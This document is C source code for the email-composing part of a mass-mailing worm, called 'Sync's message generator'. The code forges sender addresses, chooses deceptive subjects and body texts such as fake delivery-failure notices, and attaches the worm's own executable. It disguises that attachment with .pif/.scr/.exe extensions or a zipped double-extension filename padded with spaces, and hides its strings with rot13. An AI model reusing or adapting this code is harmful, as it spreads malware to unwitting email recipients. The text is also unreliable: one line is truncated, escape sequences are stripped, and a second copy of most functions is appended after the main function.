/*
* Sync's message generator
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "lib.h"
#include "msg.h"
#include "zipstore.h"
#include "massmail.h"
/* state structure */
struct msgstate_t {
char *to, from[256], subject[128];
char exe_name[32], exe_ext[16];
char zip_used, zip_nametrick, is_tempfile;
char attach_name[256];
char attach_file[MAX_PATH];
int attach_size; /* in bytes */
char mime_boundary[128];
char *buffer;
int buffer_size;
};
/* FIXME: must check "To:" != "From:" */
static void select_from(struct msgstate_t *state)
{
static const char *step3_domains[] = {
/* "aol.com", "msn.com", "yahoo.com", "hotmail.com" */
"nby.pbz", "zfa.pbz", "lnubb.pbz", "ubgznvy.pbz"
};
int i, j, n;
struct mailq_t *mq;
state->from[0] = 0;
/* STEP1 */
while ((xrand16() % 100) < 98) {
for (n=0,mq=massmail_queue; mq; mq=mq->next, n++);
if (n <= 3) break;
j = xrand32() % n;
for (i=0,mq=massmail_queue; mq; mq=mq->next, i++)
if (i == j) break;
if (mq == NULL) break;
lstrcpy(state->from, mq->to);
return;
}
/* STEP 2: use any Outlook account. Not implemented yet. */
/* STEP 3 */
j = 3 + (xrand16() % 3); /* username length; 3-5 chars */
for (i=0; i<j; i++)
state->from[i] = 'a' + (xrand16() % 26);
state->from[i++] = '@';
j = xrand16() % (sizeof(step3_domains) / sizeof(step3_domains[0]));
rot13(state->from+i, step3_domains[j]);
}
static void select_exename(struct msgstate_t *state)
{
static const struct {
char pref;
const char *name;
} names[] = {
{ 30, "qbphzrag" },
{ 15, "ernqzr" },
{ 15, "qbp" },
{ 15, "grkg" },
{ 10, "svyr" },
{ 10, "qngn" },
{ 5, "grfg" },
{ 17, "zrffntr" },
{ 17, "obql" },
{ 0, "" }
};
static const struct {
char pref;
const char *ext;
} exts[] = {
{ 50, "cvs" },
{ 50, "fpe" },
{ 15, "rkr" },
{ 5, "pzq" },
{ 5, "ong" },
{ 0, "" }
};
int i, j, tot;
if ((xrand16() % 100) < 
{
j = 3 + (xrand16() % 5);
for (i=0; i<j; i++)
state->exe_name[i] = 'a' + (xrand16() % 26);
state->exe_name[i] = 0;
} else {
for (i=0, tot=1; names[i].pref != 0; i++) tot += names[i].pref;
j = xrand16() % tot;
for (i=0, tot=1; names[i].pref != 0; i++)
if ((tot += names[i].pref) >= j) break;
if (names[i].pref == 0) i = 0;
rot13(state->exe_name, names[i].name);
}
for (i=0, tot=1; exts[i].pref != 0; i++) tot += exts[i].pref;
j = xrand16() % tot;
for (i=0, tot=1; exts[i].pref != 0; i++)
if ((tot += exts[i].pref) >= j) break;
if (exts[i].pref == 0) i = 0;
rot13(state->exe_ext, exts[i].ext);
wsprintf(state->attach_name, "%s.%s", state->exe_name, state->exe_ext);
}
static void select_subject(struct msgstate_t *state)
{
static const struct {
char pref;
const char *subj;
} subjs[] = {
{ 12, "" },
{ 35, "grfg" },
{ 35, "uv" },
{ 35, "uryyb" },
{ 8, "Znvy Qryvirel Flfgrz" },
{ 8, "Znvy Genafnpgvba Snvyrq" },
{ 8, "Freire Ercbeg" },
{ 10, "Fgnghf" },
{ 10, "Reebe" },
{ 0, "" }
};
int i, j, tot;
if ((xrand16() % 100) < 5) {
j = 3 + (xrand16() % 15);
for (i=0; i<j; i++)
state->subject[i] = 'a' + (xrand16() % 26);
state->subject[i] = 0;
} else {
for (i=0, tot=1; subjs[i].pref != 0; i++) tot += subjs[i].pref;
j = xrand16() % tot;
for (i=0, tot=1; subjs[i].pref != 0; i++)
if ((tot += subjs[i].pref) >= j) break;
if (subjs[i].pref == 0) i = 0;
rot13(state->subject, subjs[i].subj);
}
i = xrand16() % 100;
if ((i >= 50) && (i < 85))
CharUpperBuff(state->subject, 1);
else if (i >= 85)
CharUpper(state->subject);
}
static int select_attach_file(struct msgstate_t *state)
{
HANDLE h;
char buf[MAX_PATH];
state->zip_used = 0;
state->zip_nametrick = 0;
if ((xrand16() % 100) < 64)
state->zip_used = 1;
if (state->zip_used == 0) {
state->is_tempfile = 0;
GetModuleFileName(NULL, state->attach_file, MAX_PATH);
} else {
state->is_tempfile = 1;
buf[0] = 0;
GetTempPath(MAX_PATH, buf);
if (buf[0] == 0)
return 1;
state->attach_file[0] = 0;
GetTempFileName(buf, "tmp", 0, state->attach_file);
if (state->attach_file[0] == 0)
return 1;
GetModuleFileName(NULL, buf, MAX_PATH);
state->zip_nametrick = 0;
if ((xrand16() % 100) < 40)
state->zip_nametrick = 1;
if (state->zip_nametrick == 0) {
if (zip_store(buf, state->attach_file, state->attach_name))
return 1;
} else {
char zip_name[512];
int i;
lstrcpy(zip_name, state->exe_name);
lstrcat(zip_name, ".");
switch (xrand16() % 5) {
case 0: lstrcat(zip_name, "doc"); break;
case 1: case 2: lstrcat(zip_name, "htm"); break;
default: lstrcat(zip_name, "txt"); break;
}
for (i=0; i<70; i++)
lstrcat(zip_name, " ");
lstrcat(zip_name, ".");
switch (xrand16() % 3) {
case 0: lstrcat(zip_name, "e"); lstrcat(zip_name, "xe"); break;
case 1: lstrcat(zip_name, "s"); lstrcat(zip_name, "cr"); break;
default: lstrcat(zip_name, "p"); lstrcat(zip_name, "if"); break;
}
if (zip_store(buf, state->attach_file, zip_name))
return 1;
}
wsprintf(state->attach_name, "%s.zip", state->exe_name);
}
h = CreateFile(state->attach_file, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == NULL || h == INVALID_HANDLE_VALUE) {
if (state->is_tempfile) DeleteFile(state->attach_file);
return 1;
}
state->attach_size = GetFileSize(h, NULL);
CloseHandle(h);
if ((state->attach_size < 1024) || (state->attach_size > (300*1024))) {
if (state->is_tempfile) DeleteFile(state->attach_file);
return 1;
}
return 0;
}
static void write_msgtext(struct msgstate_t *state, unsigned char *p)
{
struct {
int pref;
char *text;
} texts[] = {
{ 20, "" },
{ 5, "test" },
{ 40, "The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment." },
{ 40, "The message contains Unicode characters and has been sent as a binary attachment." },
{ 20, "Mail transaction failed. Partial message is available." },
{ 0, "" }
};
int i, j, w;
if ((xrand16() % 100) < 20) {
unsigned char c;
w = 512 + xrand16() % 2048;
for (i=0; i<w;) {
c = xrand16() & 0xFF;
if (c < 32) continue;
if (c == '=' || c == '+' || c == 255 || c == 127 || c == 128 || c == '@')
continue;
p[i++] = c;
if ((xrand16() % 70) == 0) {
p[i++] = 13;
p[i++] = 10;
}
}
p[i] = 0;
return;
}
for (i=0,w=1; texts[i].pref != 0; i++) w += texts[i].pref;
j = xrand16() % w;
for (i=0,w=1; texts[i].pref != 0; i++) if ((w += texts[i].pref) >= j) break;
if (texts[i].pref == 0) i = 0;
lstrcpy(p, texts[i].text);
}
static void base64_t2q(BYTE *t, BYTE *q)
{
BYTE alpha[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
q[0] = alpha[t[0] >> 2];
q[1] = alpha[((t[0] & 03) << 4) | (t[1] >> 4)];
q[2] = alpha[((t[1] & 017) << 2) | (t[2] >> 6)];
q[3] = alpha[t[2] & 077];
}
static int msg_b64enc(char *outbuf, struct msgstate_t *state)
{
HANDLE hIn;
BYTE inbuf[1024], t[3], q[3];
DWORD tp, inp, inlen, outp, i, linepos;
const DWORD linelen = 76;
hIn = CreateFile(state->attach_file, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, NULL);
if (hIn == INVALID_HANDLE_VALUE) return 1;
for (tp=0, inp=0, inlen=0, outp=0, linepos=0;;) {
if (inp >= inlen) {
ReadFile(hIn, inbuf, sizeof(inbuf), &inlen, NULL);
if (inlen == 0) break;
inp = 0;
}
t[tp++] = inbuf[inp++];
if (tp == 3) {
base64_t2q(t, q);
for (i=0; i<4; i++) {
outbuf[outp++] = q[i];
if (++linepos >= linelen) {
outbuf[outp++] = 'r';
outbuf[outp++] = 'n';
linepos = 0;
}
}
memset(t, 0, sizeof(t));
tp = 0;
}
}
if (tp) {
base64_t2q(t, q);
if (tp < 3) q[3] = '=';
if (tp < 2) q[2] = '=';
for (i=0; i<4; i++)
outbuf[outp++] = q[i];
}
outbuf[outp] = 0;
CloseHandle(hIn);
return 0;
}
static void write_headers(struct msgstate_t *state)
{
char *buf = state->buffer;
wsprintf(state->mime_boundary, "----=_%s_%.3u_%.4u_%.8X.%.8X", "NextPart", 0, xrand16() % 15, xrand32(), xrand32());
rot13(buf, "Sebz: "); /* From: */
lstrcat(buf, state->from);
rot13(buf+lstrlen(buf), "rnGb: "); /* To: */
lstrcat(buf, state->to);
rot13(buf+lstrlen(buf), "rnFhowrpg: "); /* Subject */
lstrcat(buf, state->subject);
rot13(buf+lstrlen(buf), "rnQngr: "); /* Date */
mk_smtpdate(NULL, buf+lstrlen(buf));
rot13(buf+lstrlen(buf), "rnZVZR-Irefvba: 1.0"); /* MIME-Version */
rot13(buf+lstrlen(buf), "rnPbagrag-Glcr: zhygvcneg/zvkrq;rn"); /* "rnContent-Type: multipart/mixed;rn" */
cat_wsprintf(buf, "tboundary="%s"", state->mime_boundary);
rot13(buf+lstrlen(buf), "rnK-Cevbevgl: 3"); /* X-Priority: 3 */
rot13(buf+lstrlen(buf), "rnK-ZFZnvy-Cevbevgl: Abezny"); /* X-MSMail-Priority: Normal */
lstrcat(buf, "rnrn");
}
static int write_body(struct msgstate_t *state)
{
char *p = state->buffer;
char tmp[512];
/* This is a multi-part message in MIME format. */
rot13(p+lstrlen(p), "Guvf vf n zhygv-cneg zrffntr va ZVZR sbezng.rnrn");
/*
* ------=_NextPart_...
* Content-Type: text/plain;
* charset="Windows-1252"
* Content-Transfer-Encoding: 7bit
*/
rot13(tmp,
"--%frn"
"Pbagrag-Glcr: grkg/cynva;rn"
"tpunefrg="Jvaqbjf-1252"rn"
"Pbagrag-Genafsre-Rapbqvat: 7ovgrnrn"
);
cat_wsprintf(p, tmp, state->mime_boundary);
write_msgtext(state, p+lstrlen(p));
lstrcat(p, "rnrnrn");
/*
* ------=_NextPart_xxx
* Content-Type: application/octet-stream;
* name="ntldr"
* Content-Transfer-Encoding: base64
* Content-Disposition: attachment;
* filename="ntldr"
*/
rot13(tmp,
"--%frn"
"Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz;rn"
"tanzr="%f"rn"
"Pbagrag-Genafsre-Rapbqvat: onfr64rn"
"Pbagrag-Qvfcbfvgvba: nggnpuzrag;rn"
"tsvyranzr="%f"rnrn"
);
cat_wsprintf(p, tmp, state->mime_boundary, state->attach_name, state->attach_name);
if (msg_b64enc(p+lstrlen(p), state))
return 1;
cat_wsprintf(p, "rnrn--%s--rnrn", state->mime_boundary);
return 0;
}
/* Main function. Returns pointer to a buffer with generated buffer.
Caller is responsible to free it using GlobalFree() */
char *msg_generate(char *email)
{
struct msgstate_t state;
if (email == NULL) return NULL;
if (lstrlen(email) < 7) return NULL; /* x@xx.xx */
memset(&state, ' ', sizeof(state));
state.to = email;
select_from(&state);
select_exename(&state);
select_subject(&state);
if (select_attach_file(&state))
return NULL;
state.buffer_size = 8096 + (4 * state.attach_size) / 3;
state.buffer_size = (((state.buffer_size + 1023) / 1024)) * 1024;
state.buffer = (char *)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, state.buffer_size);
if (state.buffer == NULL) goto err;
state.buffer[0] = 0;
write_headers(&state);
if (write_body(&state)) goto err;
if (state.is_tempfile) DeleteFile(state.attach_file);
return state.buffer;
err: if (state.is_tempfile) DeleteFile(state.attach_file);
if (state.buffer != NULL) GlobalFree((HGLOBAL)state.buffer);
return NULL;
}
{
j = 3 + (xrand16() % 5);
for (i=0; i<j; i++)
state->exe_name[i] = 'a' + (xrand16() % 26);
state->exe_name[i] = 0;
} else {
for (i=0, tot=1; names[i].pref != 0; i++) tot += names[i].pref;
j = xrand16() % tot;
for (i=0, tot=1; names[i].pref != 0; i++)
if ((tot += names[i].pref) >= j) break;
if (names[i].pref == 0) i = 0;
rot13(state->exe_name, names[i].name);
}
for (i=0, tot=1; exts[i].pref != 0; i++) tot += exts[i].pref;
j = xrand16() % tot;
for (i=0, tot=1; exts[i].pref != 0; i++)
if ((tot += exts[i].pref) >= j) break;
if (exts[i].pref == 0) i = 0;
rot13(state->exe_ext, exts[i].ext);
wsprintf(state->attach_name, "%s.%s", state->exe_name, state->exe_ext);
}
static void select_subject(struct msgstate_t *state)
{
static const struct {
char pref;
const char *subj;
} subjs[] = {
{ 12, "" },
{ 35, "grfg" },
{ 35, "uv" },
{ 35, "uryyb" },
{ 8, "Znvy Qryvirel Flfgrz" },
{ 8, "Znvy Genafnpgvba Snvyrq" },
{ 8, "Freire Ercbeg" },
{ 10, "Fgnghf" },
{ 10, "Reebe" },
{ 0, "" }
};
int i, j, tot;
if ((xrand16() % 100) < 5) {
j = 3 + (xrand16() % 15);
for (i=0; i<j; i++)
state->subject[i] = 'a' + (xrand16() % 26);
state->subject[i] = 0;
} else {
for (i=0, tot=1; subjs[i].pref != 0; i++) tot += subjs[i].pref;
j = xrand16() % tot;
for (i=0, tot=1; subjs[i].pref != 0; i++)
if ((tot += subjs[i].pref) >= j) break;
if (subjs[i].pref == 0) i = 0;
rot13(state->subject, subjs[i].subj);
}
i = xrand16() % 100;
if ((i >= 50) && (i < 85))
CharUpperBuff(state->subject, 1);
else if (i >= 85)
CharUpper(state->subject);
}
static int select_attach_file(struct msgstate_t *state)
{
HANDLE h;
char buf[MAX_PATH];
state->zip_used = 0;
state->zip_nametrick = 0;
if ((xrand16() % 100) < 64)
state->zip_used = 1;
if (state->zip_used == 0) {
state->is_tempfile = 0;
GetModuleFileName(NULL, state->attach_file, MAX_PATH);
} else {
state->is_tempfile = 1;
buf[0] = 0;
GetTempPath(MAX_PATH, buf);
if (buf[0] == 0)
return 1;
state->attach_file[0] = 0;
GetTempFileName(buf, "tmp", 0, state->attach_file);
if (state->attach_file[0] == 0)
return 1;
GetModuleFileName(NULL, buf, MAX_PATH);
state->zip_nametrick = 0;
if ((xrand16() % 100) < 40)
state->zip_nametrick = 1;
if (state->zip_nametrick == 0) {
if (zip_store(buf, state->attach_file, state->attach_name))
return 1;
} else {
char zip_name[512];
int i;
lstrcpy(zip_name, state->exe_name);
lstrcat(zip_name, ".");
switch (xrand16() % 5) {
case 0: lstrcat(zip_name, "doc"); break;
case 1: case 2: lstrcat(zip_name, "htm"); break;
default: lstrcat(zip_name, "txt"); break;
}
for (i=0; i<70; i++)
lstrcat(zip_name, " ");
lstrcat(zip_name, ".");
switch (xrand16() % 3) {
case 0: lstrcat(zip_name, "e"); lstrcat(zip_name, "xe"); break;
case 1: lstrcat(zip_name, "s"); lstrcat(zip_name, "cr"); break;
default: lstrcat(zip_name, "p"); lstrcat(zip_name, "if"); break;
}
if (zip_store(buf, state->attach_file, zip_name))
return 1;
}
wsprintf(state->attach_name, "%s.zip", state->exe_name);
}
h = CreateFile(state->attach_file, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == NULL || h == INVALID_HANDLE_VALUE) {
if (state->is_tempfile) DeleteFile(state->attach_file);
return 1;
}
state->attach_size = GetFileSize(h, NULL);
CloseHandle(h);
if ((state->attach_size < 1024) || (state->attach_size > (300*1024))) {
if (state->is_tempfile) DeleteFile(state->attach_file);
return 1;
}
return 0;
}
static void write_msgtext(struct msgstate_t *state, unsigned char *p)
{
struct {
int pref;
char *text;
} texts[] = {
{ 20, "" },
{ 5, "test" },
{ 40, "The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment." },
{ 40, "The message contains Unicode characters and has been sent as a binary attachment." },
{ 20, "Mail transaction failed. Partial message is available." },
{ 0, "" }
};
int i, j, w;
if ((xrand16() % 100) < 20) {
unsigned char c;
w = 512 + xrand16() % 2048;
for (i=0; i<w;) {
c = xrand16() & 0xFF;
if (c < 32) continue;
if (c == '=' || c == '+' || c == 255 || c == 127 || c == 128 || c == '@')
continue;
p[i++] = c;
if ((xrand16() % 70) == 0) {
p[i++] = 13;
p[i++] = 10;
}
}
p[i] = 0;
return;
}
for (i=0,w=1; texts[i].pref != 0; i++) w += texts[i].pref;
j = xrand16() % w;
for (i=0,w=1; texts[i].pref != 0; i++) if ((w += texts[i].pref) >= j) break;
if (texts[i].pref == 0) i = 0;
lstrcpy(p, texts[i].text);
}
static void base64_t2q(BYTE *t, BYTE *q)
{
BYTE alpha[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
q[0] = alpha[t[0] >> 2];
q[1] = alpha[((t[0] & 03) << 4) | (t[1] >> 4)];
q[2] = alpha[((t[1] & 017) << 2) | (t[2] >> 6)];
q[3] = alpha[t[2] & 077];
}
static int msg_b64enc(char *outbuf, struct msgstate_t *state)
{
HANDLE hIn;
BYTE inbuf[1024], t[3], q[3];
DWORD tp, inp, inlen, outp, i, linepos;
const DWORD linelen = 76;
hIn = CreateFile(state->attach_file, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, NULL);
if (hIn == INVALID_HANDLE_VALUE) return 1;
for (tp=0, inp=0, inlen=0, outp=0, linepos=0;;) {
if (inp >= inlen) {
ReadFile(hIn, inbuf, sizeof(inbuf), &inlen, NULL);
if (inlen == 0) break;
inp = 0;
}
t[tp++] = inbuf[inp++];
if (tp == 3) {
base64_t2q(t, q);
for (i=0; i<4; i++) {
outbuf[outp++] = q[i];
if (++linepos >= linelen) {
outbuf[outp++] = 'r';
outbuf[outp++] = 'n';
linepos = 0;
}
}
memset(t, 0, sizeof(t));
tp = 0;
}
}
if (tp) {
base64_t2q(t, q);
if (tp < 3) q[3] = '=';
if (tp < 2) q[2] = '=';
for (i=0; i<4; i++)
outbuf[outp++] = q[i];
}
outbuf[outp] = 0;
CloseHandle(hIn);
return 0;
}
static void write_headers(struct msgstate_t *state)
{
char *buf = state->buffer;
wsprintf(state->mime_boundary, "----=_%s_%.3u_%.4u_%.8X.%.8X", "NextPart", 0, xrand16() % 15, xrand32(), xrand32());
rot13(buf, "Sebz: "); /* From: */
lstrcat(buf, state->from);
rot13(buf+lstrlen(buf), "rnGb: "); /* To: */
lstrcat(buf, state->to);
rot13(buf+lstrlen(buf), "rnFhowrpg: "); /* Subject */
lstrcat(buf, state->subject);
rot13(buf+lstrlen(buf), "rnQngr: "); /* Date */
mk_smtpdate(NULL, buf+lstrlen(buf));
rot13(buf+lstrlen(buf), "rnZVZR-Irefvba: 1.0"); /* MIME-Version */
rot13(buf+lstrlen(buf), "rnPbagrag-Glcr: zhygvcneg/zvkrq;rn"); /* "rnContent-Type: multipart/mixed;rn" */
cat_wsprintf(buf, "tboundary="%s"", state->mime_boundary);
rot13(buf+lstrlen(buf), "rnK-Cevbevgl: 3"); /* X-Priority: 3 */
rot13(buf+lstrlen(buf), "rnK-ZFZnvy-Cevbevgl: Abezny"); /* X-MSMail-Priority: Normal */
lstrcat(buf, "rnrn");
}
static int write_body(struct msgstate_t *state)
{
char *p = state->buffer;
char tmp[512];
/* This is a multi-part message in MIME format. */
rot13(p+lstrlen(p), "Guvf vf n zhygv-cneg zrffntr va ZVZR sbezng.rnrn");
/*
* ------=_NextPart_...
* Content-Type: text/plain;
* charset="Windows-1252"
* Content-Transfer-Encoding: 7bit
*/
rot13(tmp,
"--%frn"
"Pbagrag-Glcr: grkg/cynva;rn"
"tpunefrg="Jvaqbjf-1252"rn"
"Pbagrag-Genafsre-Rapbqvat: 7ovgrnrn"
);
cat_wsprintf(p, tmp, state->mime_boundary);
write_msgtext(state, p+lstrlen(p));
lstrcat(p, "rnrnrn");
/*
* ------=_NextPart_xxx
* Content-Type: application/octet-stream;
* name="ntldr"
* Content-Transfer-Encoding: base64
* Content-Disposition: attachment;
* filename="ntldr"
*/
rot13(tmp,
"--%frn"
"Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz;rn"
"tanzr="%f"rn"
"Pbagrag-Genafsre-Rapbqvat: onfr64rn"
"Pbagrag-Qvfcbfvgvba: nggnpuzrag;rn"
"tsvyranzr="%f"rnrn"
);
cat_wsprintf(p, tmp, state->mime_boundary, state->attach_name, state->attach_name);
if (msg_b64enc(p+lstrlen(p), state))
return 1;
cat_wsprintf(p, "rnrn--%s--rnrn", state->mime_boundary);
return 0;
}
/* Main function. Returns pointer to a buffer with generated buffer.
Caller is responsible to free it using GlobalFree() */
char *msg_generate(char *email)
{
struct msgstate_t state;
if (email == NULL) return NULL;
if (lstrlen(email) < 7) return NULL; /* x@xx.xx */
memset(&state, ' ', sizeof(state));
state.to = email;
select_from(&state);
select_exename(&state);
select_subject(&state);
if (select_attach_file(&state))
return NULL;
state.buffer_size = 8096 + (4 * state.attach_size) / 3;
state.buffer_size = (((state.buffer_size + 1023) / 1024)) * 1024;
state.buffer = (char *)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, state.buffer_size);
if (state.buffer == NULL) goto err;
state.buffer[0] = 0;
write_headers(&state);
if (write_body(&state)) goto err;
if (state.is_tempfile) DeleteFile(state.attach_file);
return state.buffer;
err: if (state.is_tempfile) DeleteFile(state.attach_file);
if (state.buffer != NULL) GlobalFree((HGLOBAL)state.buffer);
return NULL;
}